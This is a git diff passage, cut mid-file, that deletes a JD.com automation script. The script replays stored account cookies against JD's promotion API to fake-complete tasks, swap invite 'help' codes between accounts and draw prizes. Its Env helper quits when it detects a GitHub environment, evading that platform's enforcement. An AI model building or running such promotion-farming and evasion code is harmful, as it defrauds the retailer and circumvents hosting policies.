= 4 * r; t.clamp(), t.sigBytes += e - (t.sigBytes % e || e) }, unpad: function (t) { for (var r = t.words, e = t.sigBytes - 1; !(r[e >>> 2] >>> 24 - e % 4 * 8 & 255);)e--; t.sigBytes = e + 1 } }, t -}); - -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_star_shop.js b/backUp/jd_star_shop.js deleted file mode 100644 index b85a6a7..0000000 --- a/backUp/jd_star_shop.js +++ /dev/null @@ -1,503 +0,0 @@ -/* - 9.18-10.9 明星小店 - cron 12 19 19-30 9 * https://raw.githubusercontent.com/star261/jd/main/scripts/jd_star_shop.js - */ -const $ = new Env('明星小店'); -const notify = $.isNode() ? require('./sendNotify') : ''; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -$.inviteCodeList = []; -$.authorCodeList = []; -let cookiesArr = []; -$.linkID = ''; -let uniqueIdList = [ - {'id':'RU59FC','name':'尹正','linkID':'Q7qMuOyySR-qdWRz4YYR0w','taskId':259}, -]; -const rewardList = [ - 'Q7qMuOyySR-qdWRz4YYR0w', -] -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }); - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [ - $.getdata("CookieJD"), - $.getdata("CookieJD2"), - ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - console.log(`==================开始执行明星小店任务==================`); - for (let i = 0; i < cookiesArr.length; i++) { - $.index = i + 1; - $.cookie = cookiesArr[i]; - $.isLogin = true; - $.nickName = ''; - await TotalBean(); - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - console.log(`\n*****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await main(); - } - if($.authorCodeList.length > 0){ - $.inviteCodeList.push(...getRandomArrayElements($.authorCodeList, 1)); - } - cookiesArr = getRandomArrayElements(cookiesArr,cookiesArr.length); - for (let i = 0; i < cookiesArr.length; i++) { - $.cookie = cookiesArr[i]; - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.taskId = false; - while (!$.taskId ){ - let sar = Math.floor((Math.random() * uniqueIdList.length)); - $.uniqueId = uniqueIdList[sar].id; - $.linkID = uniqueIdList[sar].linkID; - $.taskId = uniqueIdList[sar].taskId; - } - for (let k = 0; k < $.inviteCodeList.length; k++) { - $.oneCode = $.inviteCodeList[k]; - console.log(`${$.UserName}去助力:${$.uniqueId} 活动,助力码:${$.oneCode}`); - //await takePostRequest('help'); - await help() - await $.wait(2000); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function help(){ - const url = `https://api.m.jd.com/?functionId=activityStarBackGetProgressInfo&body={%22starId%22:%22${$.uniqueId}%22,%22sharePin%22:%22${$.oneCode}%22,%22taskId%22:%22${$.taskId}%22,%22linkId%22:%22${$.linkID}%22}&_t=${Date.now()}&appid=activities_platform`; - const headers = { - 'Origin' : `https://prodev.m.jd.com`, - 'Cookie': $.cookie, - 'Connection' : `keep-alive`, - 'Accept' : `application/json, text/plain, */*`, - 'Referer' : `https://prodev.m.jd.com/mall/active/34LcYfTMVLu6QPowsoLtk383Hcfv/index.html`, - 'Host' : `api.m.jd.com`, - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Accept-Encoding' : `gzip, deflate, br`, - 'Accept-Language' : `zh-cn` - }; - let myRequest = {url: url, headers: headers}; - return new Promise(async resolve => { - $.get(myRequest, (err, resp, data) => { - try { - try { - console.log(data); - } catch (e) { - console.log(`返回异常:${data}`); - return; - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -async function main() { - let sendMessage = ''; - uniqueIdList = getRandomArrayElements(uniqueIdList, uniqueIdList.length); - console.log(`现共查询到${uniqueIdList.length}个明星小店\n`); - for (let j = 0; j < uniqueIdList.length; j++) { - try{ - $.uniqueId = uniqueIdList[j].id; - $.helpCode = ''; - console.log(`开始第${j + 1}个明星小店,ID:${$.uniqueId},明星:${uniqueIdList[j].name}`); - $.linkID = uniqueIdList[j].linkID; - await starShop(); - await $.wait(1000); - if (j === 0) { - console.log(`互助码:${$.helpCode}`); - $.inviteCodeList.push($.helpCode); - } - console.log(`\n`); - }catch (e) { - console.log(JSON.stringify(e.message)); - } - } - console.log(`=============${$.UserName }:明星小店奖励汇总================`); - await $.wait(1000); - for (let i = 0; i < rewardList.length; i++) { - $.linkID = rewardList[i]; - $.rewards = []; - await getReward(); - for (let i = 0; i < $.rewards.length; i++) { - if ($.rewards[i].prizeType === 1) { - console.log(`获得优惠券`); - } else if ($.rewards[i].prizeType === 6) { - console.log(`获得明星照片或者视频`); - } else if ($.rewards[i].prizeType === 5) { - if(!$.rewards[i].fillReceiverFlag){ - console.log(`获得实物:${$.rewards[i].prizeDesc || ''},未填写地址`); - sendMessage += `【京东账号${$.index}】${$.UserName },获得实物:${$.rewards[i].prizeDesc || '' }\n`; - }else{ - console.log(`获得实物:${$.rewards[i].prizeDesc || ''},已填写地址`); - } - } else if ($.rewards[i].prizeType === 10) { - console.log(`获得京豆`); - } else { - console.log(`获得其他:${$.rewards[i].prizeDesc || ''}`); - } - } - } - if(sendMessage){ - sendMessage += `填写收货地址路径:\n京东首页,搜索明星(尹正),进入明星小店,我的礼物,填写收货地址`; - await notify.sendNotify(`星店长`, sendMessage); - } -} - - -Date.prototype.Format = function (fmt) { //author: meizz - var o = { - "M+": this.getUTCMonth() + 1, //月份 - "d+": this.getUTCDate(), //日 - "h+": this.getUTCHours(), //小时 - "m+": this.getUTCMinutes(), //分 - "s+": this.getUTCSeconds(), //秒 - "q+": Math.floor((this.getUTCMonth() + 3) / 3), //季度 - "S": this.getUTCMilliseconds() //毫秒 - }; - if (/(y+)/.test(fmt)) - fmt = fmt.replace(RegExp.$1, (this.getUTCFullYear() + "").substr(4 - RegExp.$1.length)); - for (var k in o) - if (new RegExp("(" + k + ")").test(fmt)) - fmt = fmt.replace(RegExp.$1, (RegExp.$1.length == 1) ? (o[k]) : (("00" + o[k]).substr(("" + o[k]).length))); - return fmt; -} -async function getReward() { - const url = `https://api.m.jd.com/?functionId=activityStarBackGetRewardList&body={%22linkId%22:%22${$.linkID}%22}&_t=${Date.now()}&appid=activities_platform`; - const method = `GET`; - const headers = { - 'Origin': `https://prodev.m.jd.com`, - 'Cookie': $.cookie, - 'Connection': `keep-alive`, - 'Accept': `application/json, text/plain, */*`, - 'Referer': `https://prodev.m.jd.com/mall/active/7s5TYVpp8dKXF4FrDqe55H8esSV/index.html`, - 'Host': `api.m.jd.com`, - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Accept-Encoding': `gzip, deflate, br`, - 'Accept-Language': `zh-cn` - }; - const myRequest = {url: url, method: method, headers: headers,}; - return new Promise(async resolve => { - $.get(myRequest, (err, resp, data) => { - try { - data = JSON.parse(data); - if (data.code === 0) { - $.rewards = data.data; - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -async function starShop() { - $.info = {}; - //await takePostRequest('activityStarBackGetProgressBarInfo'); - await getInfo(); - if (JSON.stringify($.info) === '{}') { - console.log(`获取活动失败,ID:${$.uniqueId}`); - } - let prize = $.info.prize; - let runFlag = false; - for (let i = 1; i < 5; i++) { - $.onePrize = prize[i]; - if ($.onePrize.state === 1) { - console.log(`去抽奖,奖品为:${$.onePrize.name}`); - await takePostRequest('activityStarBackDrawPrize'); - await $.wait(2000); - } else if ($.onePrize.state === 0) { - runFlag = true; - } - } - if (!runFlag) { - console.log(`该明星小店已完成所有抽奖`); - return; - } - $.taskList = []; - await takePostRequest('apTaskList'); - await $.wait(2000); - $.runFlag = false; - for (let i = 0; i < $.taskList.length; i++) { - $.oneTask = $.taskList[i]; - if ($.oneTask.taskFinished) { - console.log(`任务:${$.oneTask.taskTitle},已完成`); - continue; - } - if ($.oneTask.taskType === 'SHARE_INVITE') { - continue; - } - $.runFlag = true; - console.log(`去做任务:${$.oneTask.taskTitle}`); - if ($.oneTask.taskType === 'SIGN') { - await takePostRequest('SIGN'); - await $.wait(2000); - } else if ($.oneTask.taskType === 'BROWSE_CHANNEL' || $.oneTask.taskType === 'FOLLOW_SHOP') { - $.taskDetail = {}; - $.taskItemList = []; - await takePostRequest('apTaskDetail'); - $.taskItemList = $.taskDetail.taskItemList || []; - for (let j = 0; j < $.taskItemList.length; j++) { - $.oneItemInfo = $.taskItemList[j]; - console.log(`浏览:${$.oneItemInfo.itemName}`); - await takePostRequest('apDoTask'); - await $.wait(2000); - } - - } - } - if($.runFlag){ - await getInfo(); - prize = $.info.prize; - for (let i = 1; i < 5; i++) { - $.onePrize = prize[i]; - if ($.onePrize.state === 1) { - console.log(`去抽奖,奖品为:${$.onePrize.name}`); - await takePostRequest('activityStarBackDrawPrize'); - await $.wait(2000); - } - } - } -} - -async function takePostRequest(type) { - let body = ``; - let myRequest = ``; - switch (type) { - case 'activityStarBackGetProgressBarInfo': - body = `functionId=activityStarBackGetProgressBarInfo&body={"starId":"${$.uniqueId}","linkId":"${$.linkID}"}&_t=${Date.now()}&appid=activities_platform`; - myRequest = getPostRequest(body); - console.log(body); - break; - case 'apTaskList': - body = `functionId=apTaskList&body={"uniqueId":"${$.uniqueId}","linkId":"${$.linkID}"}&_t=${Date.now()}&appid=activities_platform`; - myRequest = getPostRequest(body); - break; - case 'SIGN': - body = `functionId=apDoTask&body={"taskType":"${$.oneTask.taskType}","taskId":${$.oneTask.id},"uniqueId":"${$.uniqueId}","linkId":"${$.linkID}"}&_t=${Date.now()}&appid=activities_platform`; - myRequest = getPostRequest(body); - break; - case 'apTaskDetail': - body = `functionId=apTaskDetail&body={"taskType":"${$.oneTask.taskType}","taskId":${$.oneTask.id},"uniqueId":"${$.uniqueId}","channel":4,"linkId":"${$.linkID}"}&_t=${Date.now()}&appid=activities_platform`; - myRequest = getPostRequest(body); - break; - case 'apDoTask': - body = `functionId=apDoTask&body={"taskType":"${$.oneTask.taskType}","taskId":${$.oneTask.id},"uniqueId":"${$.uniqueId}","channel":4,"linkId":"${$.linkID}","itemId":"${encodeURIComponent($.oneItemInfo.itemId)}"}&_t=${Date.now()}&appid=activities_platform`; - myRequest = getPostRequest(body); - break; - case 'help': - body = `functionId=activityStarBackGetProgressBarInfo&body={"starId":"${$.uniqueId}","sharePin":"${$.oneCode}","taskId":"129","linkId":"${$.linkID}"}&_t=${Date.now()}&appid=activities_platform`; - myRequest = getPostRequest(body); - break; - case 'activityStarBackDrawPrize': - body = `functionId=activityStarBackDrawPrize&body={"starId":"${$.uniqueId}","poolId":${$.onePrize.id},"pos":${$.onePrize.pos},"linkId":"${$.linkID}"}&_t=${Date.now()}&appid=activities_platform`; - myRequest = getPostRequest(body); - break; - default: - console.log(`错误${type}`); - } - return new Promise(async resolve => { - $.post(myRequest, (err, resp, data) => { - try { - dealReturn(type, data); - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function dealReturn(type, data) { - try { - data = JSON.parse(data); - } catch (e) { - console.log(`返回异常:${data}`); - return; - } - switch (type) { - case 'activityStarBackGetProgressBarInfo': - if (data.code === 0) { - console.log(`${data.data.shareText}`); - $.helpCode = data.data.encryptPin; - $.info = data.data; - } - break; - case 'apTaskList': - if (data.code === 0) { - $.taskList = data.data; - } - break; - case 'SIGN': - if (data.code === 0) { - console.log('签到成功'); - } - break; - case 'apTaskDetail': - if (data.code === 0) { - $.taskDetail = data.data; - } - break; - case 'apDoTask': - if (data.code === 0) { - console.log('成功'); - } - break; - case 'help': - console.log('助力结果:' + JSON.stringify(data)); - break; - case 'activityStarBackDrawPrize': - if (data.code === 0) { - if(data.data.prizeType === 0){ - console.log(`未抽中`); - }else{ - console.log(`恭喜你、可能抽中了(以明星小店奖励汇总为准)`); - } - } - console.log(JSON.stringify(data)); - break; - default: - console.log('异常'); - console.log(JSON.stringify(data)); - } -} - -function getPostRequest(body) { - const url = `https://api.m.jd.com/?${body}`; - const headers = { - 'Origin' : `https://prodev.m.jd.com`, - 'Cookie': $.cookie, - 'Connection' : `keep-alive`, - 'Accept' : `application/json, text/plain, */*`, - 'Referer' : `https://prodev.m.jd.com/mall/active/34LcYfTMVLu6QPowsoLtk383Hcfv/index.html`, - 'Host' : `api.m.jd.com`, - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Accept-Encoding' : `gzip, deflate, br`, - 'Accept-Language' : `zh-cn` - }; - return {url: url, headers: headers, body: ''}; -} - -async function getInfo() { - const url = `https://api.m.jd.com/?functionId=activityStarBackGetProgressInfo&body={%22starId%22:%22${$.uniqueId}%22,%22linkId%22:%22${$.linkID}%22}&_t=${Date.now()}&appid=activities_platform`; - const headers = { - 'Origin' : `https://prodev.m.jd.com`, - 'Cookie': $.cookie, - 'Connection' : `keep-alive`, - 'Accept' : `application/json, text/plain, */*`, - 'Referer' : `https://prodev.m.jd.com/mall/active/34LcYfTMVLu6QPowsoLtk383Hcfv/index.html`, - 'Host' : `api.m.jd.com`, - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Accept-Encoding' : `gzip, deflate, br`, - 'Accept-Language' : `zh-cn` - }; - let myRequest = {url: url, headers: headers}; - return new Promise(async resolve => { - $.get(myRequest, (err, resp, data) => { - try { - try { - data = JSON.parse(data); - if (data.code === 0) { - console.log(`${data.data.shareText}`); - $.helpCode = data.data.encryptPin; - $.info = data.data; - } - } catch (e) { - console.log(`返回异常:${data}`); - return; - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": $.cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -/** - * 随机从一数组里面取 - * @param arr - * @param count - * @returns {Buffer} - */ -function getRandomArrayElements(arr, count) { - var shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index; - while (i-- > min) { - index = Math.floor((i + 1) * Math.random()); - temp = shuffled[index]; - shuffled[index] = shuffled[i]; - shuffled[i] = temp; - } - return shuffled.slice(min); -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return 